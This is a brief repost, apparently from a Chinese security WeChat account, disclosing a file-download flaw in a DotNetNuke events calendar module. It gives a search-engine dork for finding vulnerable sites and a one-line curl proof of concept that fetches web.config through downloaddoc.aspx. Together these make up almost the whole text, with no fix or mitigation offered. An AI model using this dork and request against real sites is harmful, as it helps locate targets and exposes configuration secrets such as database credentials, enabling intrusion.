intext:''Copyright 2019 by Associated Builders and Contractors''inurl:''/desktopmodules/eventscalendar/'
POC：
curl "<site>/desktopmodules/eventscalendar/downloaddoc.aspx?f=~/web.config"
原文始发于微信公众号（Khan安全攻防实验室）：DotNetNuke1.x 文件下载漏洞
相关文章
暂无评论...
